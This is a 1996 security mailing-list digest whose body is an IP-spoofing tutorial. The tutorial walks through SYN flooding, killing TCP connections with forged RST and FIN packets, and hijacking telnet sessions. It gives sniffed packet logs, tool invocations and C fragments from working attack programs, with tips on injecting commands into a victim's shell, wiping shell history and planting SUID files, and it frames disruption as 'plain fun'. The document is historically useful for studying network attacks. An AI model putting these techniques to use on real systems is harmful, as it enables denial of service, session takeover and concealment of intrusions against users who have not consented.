From:	SMTP%"best-of-security-d-request@suburbia.net" 22-NOV-1996 21:16:01.94
To:	EVERHART
CC:	
Subj:	best-of-security-d Digest V96 #29

From: best-of-security-d-request@suburbia.net
Date: Sat, 23 Nov 1996 08:59:41 +1100
Message-Id: <199611222159.IAA13829@suburbia.net>
Subject: best-of-security-d Digest V96 #29
X-Loop: best-of-security-d@suburbia.net
X-Mailing-List: <best-of-security-d@suburbia.net> archive/volume96/29
Precedence: list
MIME-Version: 1.0
Content-Type: multipart/digest; boundary="----------------------------"
To: "best-of-security-d@suburbia.netReply-To":best-of-security@suburbia.net

------------------------------

Content-Type: text/plain

best-of-security-d Digest				Volume 96 : Issue 29

Today's Topics:
	 BoS: IP-spoof.1
	 BoS: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2).
	 BoS:      NT Password Cracker
	 BoS: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2).
	 BoS: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2).
	 BoS: HPUX mstm/cstm buffer overflow [sod]
	 BoS:      Re: cleartext passwords in Remedy processes' cores
	 BoS:      El Programa Matador de Ascendes
	 BoS: Re: New sendmail bug...
	 BoS: NT insecurity
	 BoS: NT Password Cracker
	 BoS: a little trick for HP-UX DUI program
	 BoS:      Digital Unix v3.x (v4.x?) security vulnerability
	 BoS:      Serious hole in Solaris 2.5[.1] gethostbyname() (exploit included)
	 BoS:      Magic password of some linux-box(Hardware..)
	 BoS: c4i-pro Re: InfoWarCon 6
	 BoS: CDT Policy Post 2.38 - President Takes First Steps Towards  Clipper 3.1.1
	 BoS: FWD: Irix: root exploit for LicenseManager
	 BoS: Serious BIND resolver problem
	 BoS:      Futile rexecd holes
	 BoS:      Magic password of some linux-box(Hardware..)
	 BoS: Computers & the Law III
	 BoS: IMPORTANT: you have been u-n-s-u-b-s-c-r-i-b-e-d!
	 BoS: FYI - Anderson & Kuhn's new "Improved DFA" paper
	 BoS:      Re: Serious hole in Solaris 2.5[.1] gethostbyname() (exploit
	 BoS:      Re: Serious hole in Solaris 2.5[.1] gethostbyname() (exploit
	 BoS:      Magic password of some linux-box(Hardware..)
	 BoS:      Magic password of some linux-box(Hardware..)
	 BoS: New Paper: Covert Channels in the TCP/IP Protocol Suite
	 BoS: CERT Advisory CA-96.24 - Sendmail Daemon Mode Vulnerability
	 BoS:      Magic password of some linux-box(Hardware..)
	 BoS: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2).

------------------------------

Date: Sat, 16 Nov 1996 06:34:33 +1100
From: Julian Assange <proff>
To: best-of-security
Subject: BoS: IP-spoof.1
Message-Id: <199611151934.GAA27778@suburbia.net>

              -=[ A short overview of IP spoofing: PART I ]=-
                    -=[ Part of 'The Packet Project']=-

            (Includes Source for Linux 1.3.X and later kernels)
    All text and Source code written by Brecht Claerhout (Copyright 1996)
                 All source tested on Linux kernel 2.0.X
   All packet data captured with Sniffit 0.3.2 (a pre-release at that time)
-------------------------------------------------------------------------------

PART I: Simple spoofing (Non blind)
-----------------------------------

0. Introduction
0.1 What
0.2 For whom
0.3 Disclaimer
0.4 Licence

1. Short explanation of some words

2. Description of sourcecode
2.1 Source included
2.2 Programmer notes

3. TCP/IP (UDP) in an hazelnutshell

4. Non-blind spoofing
4.1 Know what you are doing
4.2 SYN flooding
4.3 Connection Killing
4.3.1 Using reset (RST)
4.3.2 Closing a connection (FIN)
4.3.3 Improving
4.4 Connection Hijacking
4.5 Other

5. The source code

-------------------------------------------------------------------------------
                    PART I: Simple spoofing (Non blind)
------------------------------------------------------------------------------

0. Introduction
---------------

0.1 What
--------

This document describes some IP spoofing attacks and gives you example
source code of the programs used for these attacks (and packet sniffer
logs, so you see what exactly happens).
It also provides you with an easy to use include file for experimenting a
little yourself.
Oh, if you make something nice with the "spoofit.h" file, please mail it to me
(or a reference where it is available) with a little explanation on what it
is (a few lines are enough)...

If you have interesting remarks, comment, idea's, ... please contact me
        Brecht Claerhout <Coder@reptile.rug.ac.be>
        PoBox 144
        9000 Gent 12
        Belgium

If YOU think of yourself, you are "3><Tr3/\/\3lY 3Le3T", please don't bother
contacting me.
Flames >/dev/null or >/dev/echo depends on how smart you are.

It is not wise to use what you don't know/understand, so read this before
trying anything... it will only take a few minutes, and probably save you
some hours of failure...

This code is not crippled in the usual way (removing some vital parts),
the power is limited by it's briefness, because I wanted to keep
everything simple and illustrative (but working). It's a simple job to
improve it, and that is the goal of this doc, that you improve it yourself.

Thanks too Wim Vandeputte for spellchecking, and putting up
with my constant nagging about IP during the writing of this sh!t...

0.2 For whom
------------

For people with an elementary knowledge of TCP/IP, some knowledge on C (only
the basic setup) and some general UNIX knowledge.
It's no use reading this document if you are completely unaware of these
things, but mind you, only a little knowledge is enough.

0.3 Disclaimer
--------------

I am in no way responsible for the use of this code. By using this
software and reading this document you accept the fact that any damage
(emotional, physical, dataloss and the end of the world as we know it ...)
caused by the use or storage of these programs/documents is not MY
responsability.

I state that during the writing and testing of this document/source, I
never violated any law. All spoofing was done between machines where I had
legit root access, or where I had the permission from the legit root.

This code can be written by any competent programmer, so this source is
not so harmfull as some will say (cauz' I'm sure some people won't like
this degree of disclosure).

0.4 Licence
-----------

All source code and text is freely available. You can spread it, as long
as you don't charge for it (exceptions are a small reproduction fee, if
it isn't spread together with commercial software, texts.)
You may not spread parts of the document, it should be spread as one
package. You may not modify the text and/or source code.

You can use the spoofit.h or derived code in your own programs as long as
they are not commercial (i.e. FREE), and you give me the credits for it.


1. Short explanation of some words
----------------------------------

This is a short explanation of some words you might see in the
text/source. You probably know all this, but I put it in here anyway.

Sniffit
  My favourite Packet Sniffer, all sniffed sequences in this
  document where created with it. Sniffit can be obtained from:
  http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
  Off course any other decent sniffer will do (but this one wears my
  personal marks and approval).
  (At time of writing a pre-release 0.3.2)

IP-spoofing (further referenced to as spoofing)
  The forging of IP packets
  NOTE that not only IP based protocols are spoofed.
  NOTE that spoofing is also used on a constructive base (LAN spoofing,
       not discussed here).
  NOTE that I don't use it on a constructive base ;)

Non-blind spoofing
  Using the spoofing to interfer with a connection that sends packets
  along your subnet (so generally one of the 2 hosts involved is located
  on your subnet, or all data traffic has to be passing your network
  device,... you might consider taking a job at some transatlantic route
  provider).

Blind spoofing
  Using the spoofing to interfer with a connection (or creating one),
  that does not send packets along your cable.


2. Description of sourcecode
----------------------------

2.1 Source included
-------------------
spoofit.h
  The include file that provides some easy to use spoofing functions.
  To understand the include file and it's functions, read the header of
  that file for use of the C functions.

*.c
  Example programs (on the use of spoofit.h) that are discussed in this
  document.
  Details on these programs are included in the appropriate sections.

sniper-rst.c
  Basic TCP connection killer.
  (denial-of-services)

sniper-fin.c
  Basic TCP connection killer.
  (denial-of-services)

hijack.c
  Simple automated telnet connection hijacker.

2.2 Programmer notes
--------------------

These programs are just examples. That means, they could be improved a
lot. Because I wanted to keep them short and leave some stuff to your
imagination, they are very simple.
However they all work and are a good starting point.


3. TCP/IP (UDP) in an hazelnutshell
-----------------------------------

Because it has been explained enough in 'Phrack Volume Seven, Issue
Forty-Eight, File 14 of 18' by daemon9/route/infinity , and there is a lot of
documentation available on the subject I will only repeat some things
very briefly. (Please read the phrack #48 file or any other document on
the subject before reading this).

A connection is fully defined with 4 parameters, a source host and port,
and a destination host and port.

When you make a connection, data is send in packets. Packets take care of
low level trafic, and make sure the data arrives (sometimes with special
error handling). The spine of most networks is the IP protocol version 4.
It is totally independent of all hardware protocols.

TCP and UDP are higher level protocols wrapped up in IP packets.

All those packets consist of a header and data.

IP header contains (amongst other things): IP of source and destination
hosts for that packet, and the protocol type of the packet wrapped up in
it. (TCP=6, UDP=17, etc.).

UDP packets contain (amongst other things): port number of source and
destination host. UDP has no such thing as SEQ/ACK, it is a very weak
protocol.

TCP packets contain (amongst other things): port number of source and
destination host, sequence and acknowledge numbers (further refered to as
SEQ/ACK), and a bunch of flags.
SEQ number: is counted byte per byte, and gives you the number of the
            NEXT byte to be send, or that is send in this packet.
ACK number: is the SEQ number that is expected from the other host.
SEQ numbers are chosen at connection initiation.

I said is was going to be short... If you didn't understand the above
text, read up on it first, because you won't understand sh!t of the rest.


4. Non-blind spoofing
---------------------

4.1 Know what you are doing
---------------------------

The concept of non-blind spoofing (NBS further in this doc) is pretty
simple. Because packets travel within your reach, you can get the current
sequence and acknowledge (SEQ/ACK further in this doc) numbers on the
connection.
NBS is thus a very easy and accurate method of attack, but limited to
connections going over your subnet.
In spoofing documentation these attacks are sometimes ommited, because
they are mostly 'denial-of-service' attacks, or because people don't
realise the advantage a spoof (in particulary a hijack) can have above
simple password sniffing.

Spoofing in generally is refered to as a verry high level of attack. This
refers to blind spoofing (BlS further in this doc), because NBS is
kidstuff for a competent coder.

4.2 SYN flooding
----------------

Thoroughly discussed in 'Phrack Volume Seven, Issue Forty-Eight, File 13 of
18'. I won't waste much time on it.

Setup:
          host A <-----][----------X--------------->host B
                                   |
          host S <-----------------/

Concept:
Host S impersonates SYN (connection init) coming from host A, to host B.
Host A should be unreachable (e.g. turned off, non existant,...).
B sends out the second packet of the 3 way TCP handshake. Host B will now
wait for response of host A.
If host A is reachable it will tell host B (with a reset: RST) that it DID NOT
inititate a connection, and thus host B received a bogus packet. (In that case
host B will ingnore the SYN, and *normally* nothing will happen)
So if A is unreachable, B will wait for response some time.
When doing multiple attacks, the backlog of host B is going to be exceeded
and host B will not except new connections (read on TCP bugs for
additional features ;) for some time.

4.3 Connection Killing
----------------------

Setup:
          host A <------X------------------------->host B
                        |      A,B have a TCP connection running
          host S <------/      A,S on same subnet

          (setup is the same in both cases)

Use:
Clearing mudders of your net, annoying that dude typing an important
paper, etc... plain fun.

4.3.1 Using reset (RST)
-----------------------

Concept:
TCP packets have flags which indicate the status of the packet, like RST.
That is a flag used to reset a connection. To be accepted, only the
sequence number has to be correct (there is no ACK in a RST packet).
So we are going to wait for packets in a connection between A and B.
Assume we wait for packets to A. We will calculate (from B's packets)
the sequence number for A's packets (from B's ACK's), and fire a bogus RST
packet from S (faking to be A) to B.

An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)

(This is a good example of how things not always go as you want, see
below for a solution)
1) connection running...
   we wait for a packet to get current SEQ/ACK (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
   SEQ (hex): 57E1F2A6   ACK (hex): B8BD7679
   FLAGS: -AP---   Window: 3400
   (data removed because irrelevant, 2 bytes data)

2) This is the ACK of it + included data (witch causes SEQ number to
   change, and thus messing up our scheme, because this came very fast.)
   (B->A)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
   SEQ (hex): B8BD7679   ACK (hex): 57E1F2A8
   FLAGS: -AP---   Window: 2238
   (data removed because irrelevant, 2 bytes data)

3) ACK of it. (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
   SEQ (hex): 57E1F2A8   ACK (hex): B8BD767B
   FLAGS: -A----   Window: 3400
   (data removed because irrelevant)

4) further data (B->A)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
   SEQ (hex): B8BD767B   ACK (hex): 57E1F2A8
   FLAGS: -AP---   Window: 2238
   (data removed because irrelevant)

5) ACK of it (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
   SEQ (hex): 57E1F2A8   ACK (hex): B8BD7691
   FLAGS: -A----   Window: 3400

6) Now we get 2 RST packets. How do you explain that? Well, the first reset
   packet has been buffered somewhere on our system, because the ethernet
   segment was busy when we wanted to send it. This is the 'unexpected
   thing' I discussed above, here we are lucky, the data stream cooled down
   so fast.
   When it doesn't cool down so fast, we could miss our RST (or the
   connection will be killed a little later then when we wanted), you'll see
   some idea's on how to fix that problem.

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
   SEQ (hex): B8BD7679      FLAGS: ---R--


TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
   SEQ (hex): B8BD7691      FLAGS: ---R--
   (This was the packet that killed the connection)

Discussion of the program:

The discussion here is a bit weird , that is because 'sniper-rst.c' is
not designed to be an optimal killer, merly to be an example.
We have the problem of speed here. We miss some packets what causes those
resends. So we would design a better 'sniper' if we do the following:
        - use blocking IO (not necessarilly, because the RST killer would
                          loose some of it's beauty (looping), this is dealt
                          with in the FIN killer example. Blocking is a
                          little faster when a lot of packets come after
                          each other.)
        - multi-packet firing... fire more packets with incremented SEQ.
          (this is commented in the source)
        - waiting for a pure ACK packet (no data), because otherwise you
          risk to much of getting mid transmission and not being fast enough.
          (disadvantage is the 'waiting period' before the connection is
          killed)

NOTE these examples were done on non-loaded networks, with non-loaded
     servers, what makes it a worst case scenario for speed problems.

4.3.2 Closing a connection (FIN)
- ------------------------------

Concept:
An other flag is FIN and says: "no more data from sender".
This flag is used when closing a connection down the normal legit way. So
if there was a way to make a packet that is accepted by one of the two
hosts, this host would believe the 'sender' didn't have any data left.
Following (real) packets would be ignored as they are considered bogus.
That's it, because we can sniff the current SEQ/ACK of the connection we
can pretend to be either host A or B, and provide the other host with
CORRECT packetinformation, and an evil FIN flag.
The beauty of it all is, that after a FIN is send the other host always
replies with one if it is accepted, so we have a way to verify our
killing, and can be 100% sure of success (if for some reason we missed a
SEQ or ACK, we can just resend).
RST killing is more popular and is prefered, but I've put this in as an
example, and I like it myself.


An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)

1) connection is running....
   sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072'
   and waits for a packet to take action (we need to get SEQ/ACK)
   (mind you switching host A and B would be the same, only S would be
    impersonating A instead of B)
   suddenly a packet arrives... (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
   SEQ (hex): 19C6B98B   ACK (hex): 69C5473E
   FLAGS: -AP---   Window: 3400
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
 45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3
 9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E >
 50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A .
                                         ~~~~~~~~~ > 2 data bytes

2) sniper detected it, and sends a bogus packet. (S as B -> A)
   We calculate our SEQ as: ACK of (A->B) packet
   We calculate our ACK as: SEQ of (A->B) packet + datalength of that packet
                            (19C6B98B + 2 = 19C6B98D)
   (so we tell A, we received the last packet, and will not transmit
   further data)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
   SEQ (hex): 69C5473E   ACK (hex): 19C6B98D
   FLAGS: -A---F   Window: 7C00
   (data removed because irrelevant)

3) host A now says: 'okay, you end the session, so here is my last data'
   (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
   SEQ (hex): 19C6B98D   ACK (hex): 69C5473E
   FLAGS: -AP---   Window: 3400
   (data removed because irrelevant)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
   SEQ (hex): 19C6B998   ACK (hex): 69C5473F
   FLAGS: -A----   Window: 3400
   (data removed because irrelevant)

4) host A now has flushed its buffer and on his turn FIN's the connection.
   (A->B)
   sniper, intercepts this packet and now knows the hosts fell for the
   spoof and the killing was a success!
   (host A will no longer accept any data)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
   SEQ (hex): 19C6B998   ACK (hex): 69C5473F
   FLAGS: -A---F   Window: 3400
   (data removed because irrelevant)

5) We impersonated B, making A believe we had no further data. But B
   doesn't know that and continues to send packets.
   (B->A)
   host A has that connection closed, and thus thinks the real packets of
   B are spoofed (or at least bogus)! So host A sends some reset packets
   (RST).

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
   SEQ (hex): 69C5473E   ACK (hex): 19C6B98D
   FLAGS: -A----   Window: 3750
   (data removed because irrelevant)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
   SEQ (hex): 19C6B98D      FLAGS: ---R--
   (data removed because irrelevant)

6) This goes on for a couple of packets.


Discussion of the program (numbers correspond with those of 'An Actual
Attack'):

1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
   if(stat==-1)  {printf("Connection 10 secs idle... timeout.\n");exit(1);}

   We use wait_packet on a non blocking socket. This way we can enable a
   10 seconds timeout. This functions returns when the correct packet
   has been delivered (or timeout).

2) sp_seq=pinfo.ack;
   sp_ack=pinfo.seq+pinfo.datalen;
   transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
                                                      sp_seq,sp_ack,ACK|FIN);

   We calculate a spoofed SEQ/ACK, and fire off a fake FIN packet. As we
   don't send any data with it, our buffer is set to NULL and datalength
   to 0.
   NOTE together with FIN, you need to enable ACK.

3) N/A

4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
   if(stat>=0)
        {printf("Killed the connection...\n");
        exit(0);}

   We wait for a FIN packet (note the FIN in wait_packet). We use a 5
   sec. timeout, if the function returns and stat>=0 (-1 on timeout), we
   know our attempt was successfull.

5) N/A

6) N/A

NOTE We can have the same problem here as with the RST killer. But didn't
     have it here, because the packet we responded upon was the end of a
     data stream (in fact it was an echo from a shell command)

4.3.3 Improving
---------------

Except from multipacket firing, it is advised to launch 2 attacks (one in
both ways). This illiminates one side oriented connections to be handled
optimally. I think of things like downloading data, which is a one way
data-flow, it is much easier sending a RST from the (spoofed) receiver to
the sender, then the other way around.
Those 2 attacks could both impersonate host A and B, and thus giving is 4
times more chance of a succesfull kill.
I'll leave further experimenting up to you (use your imagination to handle
different situations).

4.4 Connection Hijacking
------------------------
Setup:
          host A <------X------------------------->host B
                        |      A,B have a TCP connection running (TELNET)
          host S <------/      A,S on same subnet

Concept:
(suppose a TELNET from A (client) to B (server))
TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B
trusts the packets from A because of its correct SEQ/ACK numbers.
So if there was a way to mess up A's SEQ/ACK, B would stop believing A's
real packets.
We could then impersonate to be A, but using correct SEQ/ACK numbers
(that is numbers correct for B).
We would now have taken over the connection (host A is confused, B thinks
nothings wrong (almost correct, see 'actual attack'), and S sends
'correct' data to B).
This is called 'Hijacking' a connection. (generally hijacking a TELNET session,
but same could be done woth FTP, RLOGIN, etc...)
How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data
packet into the stream at the right time (S as A->B), the server B would
accept this data, and update ACK numbers, A would continue to send
it's old SEQ numbers, as it's unaware of our spoofed data.

Use:
I allready hear you wiseguys yelling: "Hey dude, why hijack a connection
if you can sniff those packets anyway??"
Well, anybody heared of One Time Passwords, Secure Key?? Case closed....
(S/Key: server challenges client, client and server calculate a code from
the challenge and password, and compare that code. The password itself is
never send on the cable, so you can't sniff sh!t).
(OTP: server has a list of passwords, once one is used, it is destroyed,
so sniffing gets you a password that has 'just' expired ;)
(ALL types of identification that happen at connection (encrypted or not,
trusted or not), and don't use encrypted data transfer, are vulnerable to
'hijacking'.)

An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
(suppose a TELNET from A (client) to B (server))
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)

1) connection running...
   we look with sniffit, and see he's busy in a shell, we start 'hijack'
   on host S as 'hijack 166.66.66.1 2035 111.11.11.11'
   a packet containing from (A->B) is detected... hijack takes action...
   (A->B)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
   SEQ (hex): 5C8223EA   ACK (hex): C34A67F6
   FLAGS: -AP---   Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
 45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ?
 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 .
 50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l
                                         ~~~~

2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!)
   (you gotta know what you are doing)
   (B->A)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
   SEQ (hex): C34A67F6   ACK (hex): 5C8223EB
   FLAGS: -AP---   Window: 2238
Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
 45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B .
 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB .
 50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l
                                         ~~~~

3) A simple ACK from host A to B responding to that echo. Because we know
   this can come, and we know a simple ACK doesn't contain data, we don't
   need this for SEQ/ACK calculation.

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
   SEQ (hex): 5C8223EB   ACK (hex): C34A67F7
   FLAGS: -A----   Window: 7C00
   (data removed because irrelevant)

4) Now we impersonate further data (following packet 1). (S as A -> B)
   We calculate SEQ/ACK out of packet 1, NOT out of the 'echo' from B,
   because we have to be as fast as possible, and packet 2 could be slow.
   We send some backspaces and some enters. To clean up the command line.
   We will probably still get some error message back from the shell.
   But we handle that too! (see sourcecode)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
   SEQ (hex): 5C8223EB   ACK (hex): C34A67F6
   FLAGS: -AP---   Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
 45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ?
 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 .
 50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 .
 0A . 0A .

5) This is the echo of our spoofed data. Look at ACK. (B->A)
   5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a
   success)
   NOTE that at this point the connection is ours, and A's SEQ/ACK
        numbers are completely f#cked up according to B.

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
   SEQ (hex): C34A67F7   ACK (hex): 5C8223F5
   FLAGS: -AP---   Window: 2238
Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
 45 E 00 . 00 . 3C < B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B .
 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 .
 50 P 18 . 22 " 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H
 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A .

6) Hijack will now try to get on track of SEQ/ACK numbers again, to send
   the data we want to be executed.
   NOTE each time a packet 'out of numbering' arrives the host should
        answer with correct SEQ/ACK, this provides us with the certainty
        that a lot of packets are going to be send with correct (and not
        changing) SEQ/ACK nrs. (this is where the mechanism of getting our
        numbers back straight is based upon)
   NOTE it's at this point the real TELNET client's session hangs, most
        people ignore this and re-login after a few secs, accepting the
        accident as Murphy's law.
        (Well it *can* happen without any spoofing involved)

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
   SEQ (hex): 5C8223EB   ACK (hex): C34A67F7
   FLAGS: -AP---   Window: 7C00
   (data removed because irrelevant)


TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
   SEQ (hex): C34A680B   ACK (hex): 5C8223F5
   FLAGS: -A----   Window: 2238
   (data removed because irrelevant)


TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23
   SEQ (hex): 5C8223EB   ACK (hex): C34A67F7
   FLAGS: -AP---   Window: 7C00
   (data removed because irrelevant)


TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
   SEQ (hex): C34A680B   ACK (hex): 5C8223F5
   FLAGS: -A----   Window: 2238
   (data removed because irrelevant)

7) We are back on track (or at least hijack is, because this is going
   very fast). And we fire off our faked bash command.

    echo "echo HACKED" >> $HOME/.profile<ENTER>

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
   SEQ (hex): 5C8223F5   ACK (hex): C34A680B
   FLAGS: -AP---   Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23
 45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ?
 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B .
 50 P 18 . 7C | 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20   22 " 65 e 63 c
 68 h 6F o 20   48 H 41 A 43 C 4B K 45 E 44 D 22 " 20   3E > 3E > 24 $ 48 H 4F O
 4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 .

8) now we wait for this data to be confirmed.
   ACK = 5C8223F5 + 025 (=37 bytes)

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
   SEQ (hex): C34A680B   ACK (hex): 5C82241A
   FLAGS: -AP---   Window: 2238
Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040
   (data removed because irrelevant)

9) The connection runs on. Now you can execute more commands (just stay
   on track of SEQ/ACK), and even finnish the connection (with the same
   mechanism of sniper, or with sniper itself... here FIN is recommended).
   NOTE: here it is important to be in a shell. But if you have been
         watching someone, and you notice he's always directly going to
         'pine' and you can't get inbetween on time.
         NO PROBS.... just make a cleanup string that cleans up
         'pine' and puts you back in the shell. (some control chars,
         hotkeys, whatever....)
   NOTE: if you clean up the .sh_history of .bash_history (whatever) this
         attack is one of the nicest there is. Another advantage above
         sniffing.
   NOTE: Noone says you have to make a .rhosts file (rlogin and
         family might be disabled), you can change permissions, put
         stuff SUID, put it public, install stuff, mail, etc..

Discussion of the program (numbers correspond with those of 'An Actual
Attack'):

1) wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);

   Waiting for actual data (PSH is always used for packets containing
   data in interactive services like TELNET)

2) N/A

3) N/A

4) sp_seq=attack_info.seq+attack_info.datalen;
   sp_ack=attack_info.ack;
   transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,
                                                     23,sp_seq,sp_ack,ACK|PSH);

   We recalculate the sequence number (using SEQ and datalength of packet 1)
   an we send a spoofed packet with ACK and PSH flag, containing the
   cleanup data in to_data.

5) while(count<5)
        {
        wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
        if(attack_info.ack==sp_seq+sizeof(to_data))
                count=PERSONAL_TOUCH;
        else count++;
        };

   We wait for a confirmation that our spoofed sequence is accepted. We
   expect a packet with an ACK set (PSH or not). It should come within 5
   packets, we use this limit, because we should be able to handle some
   previous ACK packets!
   NOTE we don't check SEQ nrs, because we have no clue of what they are
        going to be (data might have been send our way, or not).

6) while(count<10)
        {
        old_seq=serv_seq;
        old_ack=serv_ack;
        wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P,
                                                                     ACK,0);
        if(attack_info.datalen==0)
          {
          serv_seq=attack_info.seq+attack_info.datalen;
          serv_ack=attack_info.ack;
          if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
                count=PERSONAL_TOUCH;
          else count++;
          }
        };

   To get back on track, we try to receive 2 ACK packets without data
   with the same SEQ/ACK. We know enough packets will be send as a
   response to incorrect packets from the confused host A.
   This is how we get back on track.
   NOTE In a case where A completely gave up, simple spoof a packet with
        incorrect SEQ/ACK to get the correct numbers back.

7) transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
                                      SERVER,23,serv_ack,serv_seq,ACK|PSH);

   Pretty clear....

8) while(count<5)
        {
        wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
        if(attack_info.ack==serv_ack+sizeof(evil_data))
                count=PERSONAL_TOUCH;
        else count++;
        };

   and again waiting for confirmation.

   NOTE after the above attack, hijack had produced the following output:

   Starting Hijacking demo - Brecht Claerhout 1996
   -----------------------------------------------

   Takeover phase 1: Stealing connection.
     Sending Spoofed clean-up data...
     Waiting for spoof to be confirmed...
   Phase 1 ended.

   Takeover phase 2: Getting on track with SEQ/ACK's again
     Server SEQ: C34A680B (hex)    ACK: 5C8223F5 (hex)
   Phase 2 ended.

   Takeover phase 3: Sending MY data.
     Sending evil data.
     Waiting for evil data to be confirmed...
   Phase 3 ended.

4.5 Other
---------

This list is far from complete, I'm sure you can think of other nice things
to do with this information, think, experiment and code!


